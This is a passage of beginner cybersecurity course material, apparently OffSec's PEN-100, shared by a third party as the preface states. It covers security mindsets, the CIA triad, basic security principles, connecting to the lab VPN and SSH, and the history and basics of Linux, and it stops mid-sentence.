This course is written by OffSec, and they provide good materials. If you enjoy their course, do not hesitate to take certification with them, as their certifications are among the most valuable on the market.
I decided to share this course for free, because there are a lot of people who would resell it, with no added value.
Enjoy, and never stop learning,
Tamarisk / @OffsecExam
In this Topic, we will cover the following Learning Units:
Each learner moves at their own pace, but this Topic should take
approximately 3 hours to complete.
Welcome to PEN-100. This material will cover security fundamentals
and prepare students with the necessary prerequisites to enter into
Penetration Testing with Kali Linux (PWK),[1] also known as
PEN-200. By completing the exercises in these Topics and by taking
the PWK course and tackling its extensive labs, students can prepare
themselves to take the Offensive Security Certified Professional
(OSCP) exam.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 15 minutes to complete.
PEN-100 is a learning path designed for information security
professionals at the beginning of their career, or for individuals who
might want a refresher on certain topics. The purpose of this content
is to help students become comfortable with the fundamental concepts
needed to begin a much longer journey.
Interestingly, Information Security has emerged as a unique
field and is not a sub-field or niche area of software engineering
or system administration. Consider that "regular" bugs and "security"
bugs both require development to fix, and misconfigurations can be set
straight by sysadmins.
There are a few specific properties of security that make it stand
out in a regular software development cycle. First of all, security
involves malicious and intelligent actors. The whole notion of
security exists because these bad actors may try and do something that
we would rather them not do. Notably, they are finding and exploiting
flaws to gain advantages they are not entitled to.
The problem of dealing with an intelligent opponent requires a
different approach, discipline, and mindset compared to facing a
naturally-occurring or accidental problem. Whether we are simulating
an attack or a defending against one, we will need to consider
the perspective and potential actions of our opponent, trying to
anticipate what they might do.
Another aspect of security is that it usually involves reasoning
under uncertainty. By this, we mean that when we simulate an
attack, we will never know everything there is to know about the
machine/system/network/organization we are targeting. Conversely, as
the defender, we will not be aware of every potential attack vector or
vulnerability we might be exposed to.
The problem of the intelligent adversary and the problem of
uncertainty both suggest that learning security also requires learning
more about how we think and solve problems. In particular, it
requires that we adopt and nurture specific mindsets that will help
us as we learn and apply our skills. We'll discuss more about what we
mean by mindsets later.
It's worth pausing here for a moment to consider the particular
attention that we will give to the offensive[2] side
of security. Specifically, one might ask if an information security
professional whose primary interest and goal is defending a network,
organization, or government could focus on learning defense.
Consider for a moment the analogy of a medieval monarch building a
castle. If the monarch learns that their enemy has catapults capable
of hurling large boulders, they might design their castle to have
thicker walls. Similarly, if their enemy is equipped with ladders,
the monarch might give their troops tools to push the ladders off the
walls. The more this monarch knows about their would-be attacker and
the more they can think like an attacker, the better defense they
can build.
Similarly, in information security, we might take the role of an
attacker to better understand vulnerabilities and exposed
weaknesses. Taking on the skillsets and mindset of an attacker
allows us to better answer questions like "How might an attacker gain
access?", "What can they do with that access?", and "What are the
worst possible outcomes from an attack?".
While learning to hack is of course essential for aspiring Penetration
Testers, we also believe that defenders, security operators, and blue
teamers will greatly benefit from at least a cursory education in
offensive techniques and technologies as well.
Perhaps interestingly, the opposite can also be true. It's been our
experience that many of the best penetration testers and hackers are
those who have had extensive exposure to defending networks, building
web applications, or administrating systems.
Security is not only about understanding technology and code, but
also about understanding your own mindset and that of your adversary.
We've touched on this word, "mindset", a few times already. We tend
to think of a mindset as a set of beliefs that inform our personal
perspective.
Two contrasting examples of well-known mindsets are the fixed
mindset and the growth mindset. An individual with a fixed mindset
believes that their skill/talent/capacity to learn is what it is,
and that there is no gain to be made by trying to improve. A growth
mindset, on the other hand, purports the belief that mental ability is
flexible and adaptable, and that one can grow their capacity to learn
over time.
Research suggests that, for example, a mindset in which we believe
ourselves capable of recovering from a mistake makes us
measurably better at it.[3] This is just one aspect of
the growth mindset, but an important one since security requires us to
make mistakes and learn from them as well as to be constantly learning
and re-evaluating.
Another extremely valuable mindset is the aptly-coined
security mindset. First proposed by security researcher Bruce
Schneier,[4] this mindset encourages a constant
questioning of how one can attack (or defend) a system. If we can
begin to ask this question automatically when encountering a novel
idea, machine, system, network, or object, we can start noticing a
wide array of recurring patterns.
Finally, one of the most important mindsets is what we call the Try
Harder mindset. We'll talk more about what we mean by Try Harder
later, but let's quickly consider two perspectives in a moment of
"failure."
If my attack or defense fails, that's a truth about my current
skills/processes/configurations as much as it is a truth about the
system.
If my attack or defense fails, this allows me to learn something
new, change my approach, and do something differently.
The most important skills to have in our toolset before we get into
hacking are not themselves necessarily security related. Knowledge
of three broad subjects tends to help students significantly with PWK,
compared to those who do not have exposure to them.
In this learning path, we will learn the bare essentials of these
subjects. Of course, each of these is itself a full field in its own
right, so we can only cover the fundamentals.
As you go through a Topic, pay special attention to the terms
and concepts you are unfamiliar with. It will be important to do
additional research, learning, and practice to gain mastery.
Beyond simply expanding your cybersecurity vocabulary, regularly
engaging in research will help you become "comfortable with the
uncomfortable", which is core to the Try Harder philosophy. Developing
a habit of research, as well as curating your own skill as a
researcher, will be beneficial long after you finish with the material
here. To aid you with this, we've included footnotes in each Topic
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 15 minutes to complete.
In our opinion, learning security is a constant journey of expanding
one's skills, knowledge, understanding of context, and mindsets. In
this section, we briefly go over some tips and tricks to make the
most out of your learning experience. We'll talk a little bit more
about the concept of Trying Hard, and also go over what we mean by
"research".
We've written[5] before about what Try Harder means to
us. This content is designed for those who are new to security, and
so we are hoping to impart the importance of trying hard with a more
casual introduction.
Let's continue by discussing the Try Harder mindset in the specific
context of exercises. Some exercises will be easy, but it is also
reasonable to expect to encounter some difficulty. Some exercises may
require multiple steps or are otherwise not immediately simple.
Many of the exercises contain hints to help in case a student gets
stuck. Using hints comes at no cost; they are yours to use whenever
you wish. However, it's important to first notice, and then resist,
the urge to open the hint immediately.
Let's stick on this word "notice" a bit. Sometimes we can get so
absorbed in the particular challenge that we don't pay attention to
what is going on in our own heads.
In our view, it's important to take the time to notice what's
happening mentally, since this self-awareness can help us understand
our own strengths and weaknesses. If we can train ourselves to notice
bits of frustration or anxiety when something doesn't work, it makes
it easier to step back, take a breath, and evaluate what we can try
next.
You may reach a point in the course when you need to open a browser
and do a bit of research or need to ask for help. We will go over the
practical steps on how to do this shortly. In order to increase your
self-awareness and develop a growth mindset, we would encourage trying
the following the next time you either find that you don't know enough
and need to research more, or have the urge to ask for outside help.
First, notice that you are ready to ask for help, and remind yourself
that this is absolutely fine. Sometimes reaching this point can feel
like a failure, but it's important not to think of it this way.
Information security, and particularly penetration testing, is all
about not knowing things. After all, if every situation and outcome
was easily known in advance, there would be no need for penetration
testing in the first place.
Let's spend a bit more time talking about that moment when you
encounter difficulty.
It's impossible to come up with a all-encompassing solution for when
we run into trouble, but in general, we can recommend the following
two-step approach:
By "Read the output" we simply mean to take a moment to take stock of
the situation. Often this means reading the actual output.
Our goal in doing this is always to figure out what we need for step
two, which is "Do the research."
Let's discuss briefly how to research and study concepts that we
have not quite been mastered yet. It might seem simplistic, but one
of the most common activities during a code review, security audit, or
penetration test is googling for terms and concepts that we don't yet
understand or aren't familiar with. When searching for new terms, try
to glance through at least the first three, if not the first ten,
search results.
Sometimes the output of a program or command can be very long and
difficult to understand. In these situations, it's worth at least
reading the very first and last lines of text, because they often
contain the key information necessary to understand what is going on.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 15 minutes to complete.
While most of the Topics and concepts included in this learning path
are not strictly security topics, it's helpful to have a high-level
view of what we eventually want to attack and/or defend. In order to
become good attackers, we need to understand the principles defenders
should follow so that we can quickly identify when they are not
following those principles to exploit their mistakes.
Likewise, to be good defenders we will benefit from understanding how
attackers operate and what kinds of biases and errors they are prone
to.
One of the principles often used to describe the data and networks
that we are trying to secure is the CIA triad. CIA stands for
Confidentiality, Integrity, and Availability. Each of these
is a desirable property of the things we might want to secure, and
each of these three properties can be attacked. Most (though
not all) attacks against computer systems and networks will threaten
one of these notions.
A system is Confidential if the only people that can access it are
the people explicitly permitted to access it. A person's social media
account credentials are considered confidential as long as the user's
password is known only to the owner. If a hacker steals or guesses
the password and they can access the account, this would
constitute an attack against confidentiality. Common attacks against
confidentiality include network eavesdropping[6] and
credential stuffing.[7]
A system has Integrity if the information and functionality it
stores is only that which the owner intends to be stored. In the
above example, merely logging on to a user's social media account by
guessing their password is not an attack against integrity. However,
if the hacker starts to post messages or delete information, this
would become such an attack. A common attack against integrity is
arbitrary code execution.[8]
A system is considered Available if the people who are supposed to
access it can do so. Again, let's consider the above scenario.
An attacker has gained access to a social media account and posted
some content of their choosing. If the attacker changes the user's
password and prevents them from logging on, this would now also be an
attack against availability. A common attack against availability is
denial of service.[9]
Note that not all attacks are necessarily threats against all of
these principles, but many attacks can be categorized as weakening or
eliminating at least one.
An entire study could be made out of security[10]
principles,[11] far more than can be covered in this
introductory Topic. The rest of this section provides the high-level
descriptions of a few principles that might be encountered as you
continue this learning path.
The Principle of Least Privilege[12] expresses the idea
that each part of a system should only be granted the lowest possible
privileges that are needed to get their job done. Whether referring to
users on a machine or lines of code in a program, correctly adhering
to this discipline can greatly narrow an attack surface.
Open Security[13] is a somewhat counter-intuitive
principle states that the security of a system should not depend
on secrecy. In other words, even if an attacker knows exactly
how the system's security is implemented, the attacker should still
be thwarted. This isn't to say that nothing should be secret.
Credentials are a clear case where the security of a password depends
on its secrecy. However, we'd want our system to be secure even if
the attacker knows there is a password, and even if they know the
cryptographic algorithm behind it.
Defense in Depth[14] advocates for adding defenses to as
many layers of a system as possible, so that if one is bypassed,
another may still prevent full infiltration. An example of defense in
depth outside the context of information security would be the use of
an electronic code to open a garage, followed by a bolted door lock
that can be opened with a key, followed by a voice activated
internal alarm system.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 120 minutes to complete.
In this section, we'll cover how to connect to the lab environment,
start lab machines, and complete exercises.
The structure of each Topic is relatively straight forward. We
introduce each Learning Unit with a text-based explanation and
highlight some of the most important concepts and ideas. As mentioned
above, many of the technical terms have footnotes to help
supplement the student's learning.
Throughout each Topic, you will find several Learning Units. Most
Learning Units have exercises. These exercises come in two basic
forms.
Some exercises require only that you recall or research an answer
to a particular question. For example, you might be asked "What
networking protocol is often used to transfer files from one machine
to another?", and the solution would be "FTP".
The second kind of exercise requires you to perform some action on
a machine. You will need to retrieve information or a "flag", and
input it as the answer to the exercise. The format of flags is usually
(though not always) "OS{InsertFlagValueHere}".
An example of this kind of exercise would be "Log on to the
machine at 192.168.21.3 and retrieve the flag from the user Adam's
desktop." Once you've followed these steps, you will find a flag
file, perhaps called flag.txt, which will contain the flag
in text format: "OS{InsertFlagValueHere}".
Active learning, which will require you to perform many of the actions
that you are reading about, is much more effective as a way to learn
content than simply repeating it back. This application of skills and
practice is key to OffSec's methodology.
We want to encourage you not to give up on tough exercises! Some may
be challenging at first, but all the information needed to complete
them is either in the Topic itself or available via the linked
resources.
For a given exercise or set of exercises, the machine can be started
via the web interface. There are two ways to interact with the lab
machines: the web-based Kali Virtual Machine (VM), and the lab Virtual
Private Network (VPN).
The web-based Kali VM allows quick and efficient access to the lab
machines, without having to download or configure any files locally.
First, click the Connect to Kali button at the top right corner of
the web page. Then, when a particular exercise requires it, click the
My Kali button at the top left corner of the web page, and a new
Kali VM will deploy right in your browser. From this Kali machine, you
will be able to start and connect to all the machines associated with
the Learning Unit exercises.
Alternatively, you can connect to the lab VPN network via your
own local Kali VM. The VMware image that we provide for your use
throughout PEN-100 is a default 64-bit build of Kali Linux. We
recommended that you download and use the latest VMware image
available on the Offensive Security VM image download page.[15]
While you are free to use the VirtualBox or Hyper-V image or even your
own Kali installation, we can only provide support for the provided
VMware image. These images are provided courtesy of Offensive Security
and are not supported by the Kali Linux project team.
The Networking Fundamentals Topic covers what a VPN is in more depth.
For this introduction, we will focus only on the practical task of
connecting to it.
In order to complete some of the exercises and work with the content,
we will need to connect to a VPN. Some of these steps may be a bit
daunting, but we will do our best to make it simple and easy. There
are a few ways to do this, but we'll walk through one particular
method here.
First, we will need to make sure that we are accessing this learning
portal (where you are viewing this content) from a local Kali Linux
Virtual Machine.
A virtual machine[16], or VM, is somewhat like having a second
computer, perhaps with a different operating system and a different
set of tools, at our disposal. We'll need some software to allow us to
do this (there are several free options available).
Once we have a virtual machine setup with Kali Linux[17] on
it, we're ready for the next step. Kali Linux is an operating system
(like Windows or macOS) that comes with a specific set of tools that
are specifically useful for information security activities. Since it
is open source, Kali Linux is free to use.
Let's pause for a moment and review terminology briefly. For this
example, let's say we are sitting at a desk with a MacBook. We have
installed VMware Fusion (the software that makes the VM possible) and
the VM is running Kali Linux. In this case the MacBook is our "host
machine" and Kali is our "local VM." Finally, you have accessed the
material you are reading right now in a browser. We'll call this
content "the portal."
It is important to note that different virtualization software exist
and the host needs to be considered when choosing virtualization
software. Please be sure to look at which software is
appropriate for your host. We will be using a MacBook, which is the
reason VMware Fusion is used in our scenario.
We also have an in-browser instance of Kali Linux available for our
convenience, but to keep this topic simplified and more accessible
(even outside the Offensive Security environments), we will cover a
local virtual machine installation to connect to our VPN.
It will be important for you to access the portal (where you are
viewing this content now) from your local VM.
Note that if you try and access the portal from your host machine and
do the VPN connection from your local VM, it won't work as expected.
Once you've connected to the portal from your local VM, you'll need to
connect to to the VPN. To do this, you'll want to access the main page
and click Download VPN at the top right of the web interface. Your
browser will download a text file with the extension .ovpn.
Some of the steps we follow here rely on concepts that will we will
teach in other Topics. If you are unable to connect to the VPN after
reading these instructions, try reading the Linux Basics Topics first.
The first step to connect to the VPN requires that we start our Kali
Linux terminal. Click the black terminal icon at the top left of the
Kali VM. A screen should appear that looks like this:
┌──(kali㉿kali)-[~]
└─$
Listing 1 - The kali terminal
If we chose a different username during setup, our screen might look a
bit different.
┌──(ArtVandelay㉿kali)-[~]
└─$
Listing 2 - The kali terminal with a different username
There may be times when things in this guide might appear slightly
different from things on your local VM. It's good to notice these
details. We'll do our best to point out when and how these differences
might appear.
The visible text here makes up the command prompt, which we can use to
type text into the terminal. While the default Kali terminal is fancy
and helps to buffer input from output, we will be using a more
simple command prompt to avoid clutter. We can switch command prompts
from the two-line version in Listing 1 to a one-line
version with the C+p shortcut.
kali@kali:~$
Listing 3 - Switching to the one-line command prompt
The next thing we need to do is find where our VPN pack (i.e. the
.ovpn file) we downloaded is on the VM. If you downloaded
the VPN pack on your host machine, you will need to either move it to
your local VM, or redownload it directly via the VM. We'll use a pair
of commands called updatedb and locate to find the
file.
For this example we are using the filename fundamentals.ovpn. Make
sure to check your browser's download history to get the exact name of
the file.
kali@kali:~$ sudo updatedb
[sudo] password for kali:
kali@kali:~$ locate fundamentals.ovpn
/home/kali/offsec /fundamentals.ovpn
kali@kali:~$
Listing 4 - Finding the .ovpn file
In Listing 4, we use the sudo command
to invoke updatedb, because this particular command requires
elevated permissions. We'll learn more about sudo and permissions
in the Linux Basics Topics. The sudo command may require us to enter our
password. As we are typing, the cursor will not move and no asterisk
(*) characters will appear. We'll type in our password and press
I.
Once we have located the .ovpn file, we need to move to the
directory it is inside of with the cd command. After cd, we
entered in the value highlighted in Listing 4.
kali@kali:~$ cd /home/kali/offsec
kali@kali:~/offsec$
Listing 5 - Changing Directories with cd
While we don't see any output from this command, we can check for the
existence of the .ovpn file with the ls command,
which lists files in this directory.
kali@kali:~/offsec$ ls
fundamentals.ovpn
kali@kali:~/offsec$
Listing 6 - Listing file contents with ls
Excellent! We are now ready to connect to the VPN with the openvpn
command. To connect to the labs VPN, we invoke openvpn and
then the full name of the .ovpn file. Once again we must
use sudo first, because openvpn also requires elevated
permissions. If we've done this just a few short minutes after the
previous sudo command, we shouldn't need to enter our password again.
If, on the other hand, it's been a while, we might receive a password
prompt.
kali@kali:~/offsec$ sudo openvpn fundamentals.ovpn
2021-06-28 10:20:12 Note: Treating option '--ncp-ciphers' as '--data-ciphers' (renamed in OpenVPN 2.5).
2021-06-28 10:20:12 DEPRECATED OPTION: --cipher set to 'AES-128-CBC' but missing in --data-ciphers (AES-128-GCM). Future OpenVPN version will ignore --cipher for cipher negotiations. Add 'AES-128-CBC' to --data-ciphers or change --cipher 'AES-128-CBC' to --data-ciphers-fallback 'AES-128-CBC' to silence this warning.
2021-06-28 10:20:12 OpenVPN 2.5.1 x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [PKCS11] [MH/PKTINFO] [AEAD] built on May 14 2021
2021-06-28 10:20:12 library versions: OpenSSL 1.1.1k 25 Mar 2021, LZO 2.10
2021-06-28 10:20:12 TCP/UDP: Preserving recently used remote address: [AF_INET]192.95.19.165:1194
2021-06-28 10:20:12 UDP link local: (not bound)
2021-06-28 10:20:12 UDP link remote: [AF_INET]192.95.19.165:1194
2021-06-28 10:20:12 [offensive-security.com] Peer Connection Initiated with [AF_INET]192.95.19.165:1194
2021-06-28 10:20:13 TUN/TAP device tun0 opened
2021-06-28 10:20:13 net_iface_mtu_set: mtu 1500 for tun0
2021-06-28 10:20:13 net_iface_up: set tun0 up
2021-06-28 10:20:13 net_addr_v4_add: 192.168.49.115/24 dev tun0
2021-06-28 10:20:13 WARNING: this configuration may cache passwords in memory -- use the auth-nocache option to prevent this
2021-06-28 10:20:13 Initialization Sequence Completed
Listing 7 - Connecting to the labs VPN
The output of Listing 7 may seem intimidating at
first, and we'll learn more about how to interpret much of this output
in later Topics. For now, note that the last line of the output says
"Initialization Sequence Completed" - this indicates that we have
connected successfully to the VPN.
We need to leave the terminal window running the VPN connection
open. To continue working with the command line, we will open another
terminal window. We can do this by clicking File and then clicking
New Window.
After the new window is open, we can move the VPN terminal window out
of the way and ignore it until we are finished. Do not close the VPN
terminal window. Closing it will disconnect the VPN connection.
Now that we are connected to the VPN and have a terminal window ready
to work with, we will return to the portal. Then we'll need to click
the play button next to the exercise host VM. This will take a
little bit of time to start (a countdown should be visible next to the
name of the machine). Once it is started, an IP address will be shown
for that exercise host.
If a host can be connected to via SSH[18], we can use the
ssh command after connecting to the VPN. This connection
will have to be initiated from a separate terminal window than the VPN
connection. When the exercise host is started, the IP address for that
host will be shown. As described previously, we will click the play
button to start the exercise host.
We can use the IP address and the supplied information in the
exercises to gain access to the machine. In the following example,
the IP of the exercise host is 192.168.50.18, but it will likely
be slightly different in your case. The exercise VM IP address will
change based on user activity and the machine IP generation process.
Since we are already connected to the VPN as previously described,
let's go ahead and use ssh to connect to the exercise
machine.
kali@kali:~$ ssh atlas@192.168.50.18
The authenticity of host '192.168.50.18 (192.168.50.18)' can't be established.
ECDSA key fingerprint is SHA256:b8kEbLgPOJQUid4sdWv2g7ZMK1K1VKUKKFwx6ysCoCw.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.50.18' (ECDSA) to the list of known hosts.
altas@192.168.50.18's password:
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-81-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Mon 16 Aug 2021 06:47:25 PM UTC
System load: 0.0
Usage of /: 64.0% of 9.78GB
Memory usage: 33%
Swap usage: 0%
Processes: 221
Users logged in: 1
IPv4 address for br-58d27e3e88ac: 10.0.0.1
IPv4 address for docker0: 172.17.0.1
IPv4 address for ens160: 192.168.50.18
* Super-optimized for small spaces - read how we shrank the memory
footprint of MicroK8s to make it the smallest full K8s around.
https://ubuntu.com/blog/microk8s-memory-optimisation
0 updates can be applied immediately.
Last login: Mon Aug 16 17:44:51 2021 from 192.168.48.4
atlas@linux01:~#
Listing 8 - An SSH connection is established with the exercise host
Let's explore this command a bit. The complete command we ran was
ssh atlas@192.168.50.18. The first part, ssh is a
program that helps us setup a connection to another machine. The next
part, atlas in this case, is the username. The last part is
the IP address we found on the portal after we started the machine.
Once we hit return, we are asked if we are sure we want to connect. We
typed in yes and hit return again.
Finally, we were prompted for the user's password. We'll want to
keep this in mind. When connecting via ssh, we will often (though not
always) need a set of "credentials" which is the username and password
pair. These should be provided in the portal. Different users have
different permissions on a system, so if we want to log into a machine
as a different user, we'll close this ssh session and open a new
one, this time using the new username. As before, when we type in the
password, no text or asterisks (*) appear.
Note that our prompt changed from kali@kali:~$ and now reads
altas@linux01:~#. This indicates that we are now connected, and
any commands we type into the terminal will be executed on the machine
we are connected to. If we ssh into a Windows machine, the prompt will
change as well.
Some students who use ssh for the first time may expect something like
a new window showing a remote desktop. This will be the case when we
are using the rdesktop utility, but ssh is a preferred method
of connection for a variety of reasons.
Once we have connected we can complete the exercises for a particular
section.
When we are finished with the exercise host, we can disconnect from
ssh by entering exit. This will send us back to our original Kali
terminal prompt. Let's do this now.
atlas@linux01:~# exit
logout
Connection to 192.168.50.18 closed.
kali@kali:~$
Listing 9 - The SSH connection is closed
After disconnecting from the exercise host, we will want to click the
stop button in the portal to shut the exercise host down. If the
exercise host isn't stopped after we are finished with it, it may
cause conflicts with starting and completing other exercises as we
move forward.
Some exercises may have us connect to a machine via the
rdesktop command. When and where this is the case, we will
walk through this connection within the exercise.
When we are finished with the lab, we will disconnect from the
VPN. This is done by opening the terminal window where the VPN
connection was established. Within this window, we will press
C+c. Let's go ahead and disconnect our VPN session
now.
kali@kali:~/offsec$ sudo openvpn fundamentals.ovpn
2021-08-17 10:41:23 Note: Treating option '--ncp-ciphers' as '--data-ciphers' (renamed in OpenVPN 2.5).
2021-08-17 10:41:23 DEPRECATED OPTION: --cipher set to 'AES-128-CBC' but missing in --data-ciphers (AES-128-GCM). Future OpenVPN version will ignore --cipher for cipher negotiations. Add 'AES-128-CBC' to --data-ciphers or change --cipher 'AES-128-CBC' to --data-ciphers-fallback 'AES-128-CBC' to silence this warning.
2021-08-17 10:41:23 OpenVPN 2.5.1 x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [PKCS11] [MH/PKTINFO] [AEAD] built on May 14 2021
2021-08-17 10:41:23 library versions: OpenSSL 1.1.1k 25 Mar 2021, LZO 2.10
2021-08-17 10:41:24 TCP/UDP: Preserving recently used remote address: [AF_INET]54.236.130.76:1194
2021-08-17 10:41:24 UDP link local: (not bound)
2021-08-17 10:41:24 UDP link remote: [AF_INET]54.236.130.76:1194
2021-08-17 10:41:24 [offensive-security.com] Peer Connection Initiated with [AF_INET]54.236.130.76:1194
2021-08-17 10:41:25 TUN/TAP device tun0 opened
2021-08-17 10:41:25 net_iface_mtu_set: mtu 1500 for tun0
2021-08-17 10:41:25 net_iface_up: set tun0 up
2021-08-17 10:41:25 net_addr_v4_add: 192.168.49.60/24 dev tun0
2021-08-17 10:41:25 WARNING: this configuration may cache passwords in memory -- use the auth-nocache option to prevent this
2021-08-17 10:41:25 Initialization Sequence Completed
^C 2021-08-17 10:41:30 event_wait : Interrupted system call (code=4)
2021-08-17 10:41:30 SIGTERM received, sending exit notification to peer
2021-08-17 10:41:31 net_addr_v4_del: 192.168.49.60 dev tun0
2021-08-17 10:41:31 SIGTERM[soft,exit-with-notification] received, process exiting
kali@kali:~/Downloads$
Listing 10 - The VPN is now disconnected
It is important to disconnect from the VPN when we are finished to
avoid any connection issues from leaving it running in the background.
Finally let's put what we've learned into practice and learn how to
complete the exercises that will appear here.
We recommend that you fully complete the exercises at the end of
each section before moving on to the next one. They will test your
understanding of the material and build your confidence to move
forward.
The time and effort it takes to complete these exercises may depend on
your existing skillset. Please note that some exercises are difficult
and may take a significant amount of time. We want to encourage
you to be persistent, especially with tougher exercises. They are
particularly helpful in developing the "Try Harder" mindset.
Please note that the IP addresses presented in the Learning Units do
not necessarily reflect the IP addresses in the Offensive Security
lab. Do not try to copy the examples in the lab guide verbatim. You
will need to adapt the examples to your specific lab configuration.
The specific IP address of each machine you deploy will be shown
inside the web portal UI.
The lab you are connecting to is uniquely allocated to you, as long
as you are using it. This allows each student to work at their pace
without worrying about interrupting or being interrupted by other
students.
Even though each lab is private, it is important to consider the
labs as a hostile environment and you should not store sensitive
information on the Kali Linux virtual machine used to connect to the
labs. Student-to-student VPN traffic is not allowed; however, you can
help protect yourself by stopping services when they are not being
used and by making sure any default passwords have been changed on
your Kali Linux system.
We hope that you have acquired a good sense of how to proceed
throughout this Learning Path. While most of the Topics are designed
to stand on their own, we recommend beginning with the Linux Basics,
Windows Basics, Networking and Scripting Topics in that order. As
described above, we believe that these fundamental areas represent
the most important pre-requisites for an aspiring cybersecurity
professional. Should you already have experience in these areas, you
are welcome to move on to any Topic that captures your interest. We
wish you the best of success in your Learning Journey!
In this Module, we will cover the following Learning Units:
Each learner moves at their own pace, but this Module should take
approximately 10 hours to complete.
Although Linux represents a relatively small proportion of the desktop
operating system market share, it is one of the most stable operating
systems. This is in part because it is open-source and employs
unique collaborative development techniques by the community. A new
kernel/core is released every 2-3 months.
Since many of the common tools used by penetration testers and
security professionals are often built for a Linux environment,
we'll need to make sure we're familiar with Linux. Eventually, we may
need to use these tools and we won't want to worry about dependencies
or porting programs to other operating systems.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 60 minutes to complete
To have a good grasp of Linux concepts and to begin getting
hands-on with the operating system, we will first introduce the
following topics.
The Linux History[19] section will briefly discuss
how the Linux operating system came into existence and how it is
maintained.
The Linux Operating Systems section will cover the different
distributions of Linux that are available and what makes them
different from each other.
In the Kali Linux section, we will introduce Kali Linux and why
it is one of the most popular penetration testing distributions, what
it offers, and how it can be useful for us throughout an assessment.
The term Linux is sometimes used to refer to a family of open-source
operating systems, but it is perhaps more accurate to use this term
to describe a kernel,[20] which is the base of those
operating systems.
The main functions of the Linux kernel are to manage peripheral
devices, handle communication with the processor and memory, schedule
tasks to be executed, handle interrupt requests, and so on.
Linux is a Unix-like operating system kernel. Unix was a popular
commercial product in the 1970s and 1980s, and it influenced the
design of several other later systems. One of the systems that
was influenced by Unix was called Minix.[21] Minix was created
by Andrew S. Tanenbaum for educational purposes. Tanenbaum made its
complete source code available to universities for study in courses
and research.
One Finnish university student, Linus Torvalds, had used Minix but
wanted to deviate from its existing architecture. Torvalds decided
to develop his own monolithic kernel (Minix had a microkernel
architecture).
In a microkernel[22] architecture, the kernel is
broken down into separate processes, known as servers. Some of the
servers run in kernel-space and some run in user-space. All servers
are kept separate and run in different address spaces. Servers invoke
"services" from each other by sending messages via Inter-Process
Communication (IPC). This separation has the advantage that if one
server fails, other servers can still work efficiently.
A monolithic kernel, on the other hand, is one large process running
entirely in a single address space. It is a single, static, binary
file. All kernel services exist and execute in the kernel address
space and the kernel can invoke functions directly.
Around the same time that Torvalds was working on his monolithic
kernel, the GNU project was preparing to offer a free Unix-like
operating system that included a collection of free software programs
like system utilities, text editors, and others.
GNU developers started to develop a kernel called Hurd,[23] which
was based on the microkernel design. When the Linux kernel became
production-ready earlier than expected, the project decided to choose
Linux as the kernel for the GNU operating system. The term GNU/Linux
refers to the GNU operating system using the Linux kernel.
The integration of the kernel, the operating system, system utilities,
and other software packages is called a distribution. When we use
the term distribution, we are referring to a working system that can
be installed, boots itself, and provides additional software.
One thing we need to understand is that Linux is not an operating
system, it is just a kernel and it is the core used by other
distributions and operating systems. This means that a kernel on its
own is only as usable as a car engine without the surrounding car.
If we were to search online for Linux operating systems, we would
find many of them, each optimized for specific tasks. For example,
one Linux distribution may be optimized for command-line use, while
another is best suited for a completely different application. There
are graphical desktop versions of a Linux-based operating system that
may not make sense to use on a server where someone only needs the
command-line to accomplish certain tasks.
Although Ubuntu[24] is one of the most popular Linux-based
OSs, there exist a lot more such as Knoppix, CentOS, SUSE, Gentoo,
Android, and OpenWrt.
In broad terms, Linux distributions may be created, described, and
categorized as any of the following.
Commercial or non-commercial
Designed for enterprise users, power users, or home users
Supported on multiple types of hardware, or platform-specific
Designed for servers, desktops, or embedded devices
General purpose or highly specialized toward specific machine
functionalities
Targeted at specific user groups
Built primarily for security, usability, portability, or
comprehensiveness
Have standard release cycles or rolling releases.
To conclude, different Linux-based operating systems are better
suited for different tasks. The software is open source - any user
with sufficient knowledge and interest can customize an existing
distribution or design one to suit their own needs.
Kali Linux is a Debian-based Linux distribution created by OffSec in
early 2013 and geared towards various information security tasks, such
as Penetration Testing, Security Research, Computer Forensics, and
Reverse Engineering.
The distribution contains a suite of information security tools
constantly updated serving different purposes such as information
gathering, vulnerability analysis, wireless attacks, web application
attacks, exploitation tools, password attacks, hardware hacking,
sniffing or spoofing, and so on.
Kali Linux users can review the free online training available as
PEN-103 in the Offsec Training Library. This includes the Kali Linux
Revealed book and exercises designed to test your understanding. These
free resources are useful to users of all skill levels and will help
you get a jump start into getting familiar with the distribution.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 120 minutes to complete.
One of the most common ways to interact with a Linux-based system is
via the command-line.[25] A command-line is a text-based
interface that allows for information queries or code execution. We
can start using a command-line by opening up a terminal.
In Kali Linux, we can open up a terminal by clicking on the black icon
on the top left in the top bar. Once we do so, we get a new window
with something similar to the following.
┌──(kali@kali)-[~]
└─$
Listing 1 - The Kali terminal
Each user will have their own preferences for how to use the terminal.
For the remainder of these course materials, we will be using a
slightly different view. To toggle between views, we can use the
C+p shortcut.
kali@kali:~$
Listing 2 - An alternative view of the command-line
One commonly-used name to refer to the command-line or the terminal is
a shell. Technically speaking, a shell is a program that processes
commands and returns output - but it is also colloquially used as a
synonym for the terminal or console.
There are a few important shells on Linux:
sh: The Bourne SHell is the foundation for almost all other
shell environments, since it holds the most important tasks, which
have to do with command interpretation or act as a scripting language.
Bash: Also known as Bourne-Again SHell, Bash was developed
to serve as a replacement for Bourne SHell by offering additional
functionality and better syntax.[26] Bash is the default
login shell for most Linux distributions.
ksh: This is another variation of a shell environment called
Korn SHell, which again adds some functionality to the basic sh and
Bash. For example, ksh handles the loop syntax better than Bash.
zsh: The Z SHell is an extended Bourne SHell with additional
improvements and functionality, which also builds on top of some of
the Bash ones.
Different shell environments serve the same basic purpose of
running programs and interpreting commands, but they offer different
functionality that might better facilitate various tasks.
Linux does not use Windows-style drive letters.[27]
Instead, all files, folders, and devices are children of the root
directory, represented by the forward slash (/) character.
The pwd command will print the current directory (which is
helpful if we get lost) and we can use the cd command to move
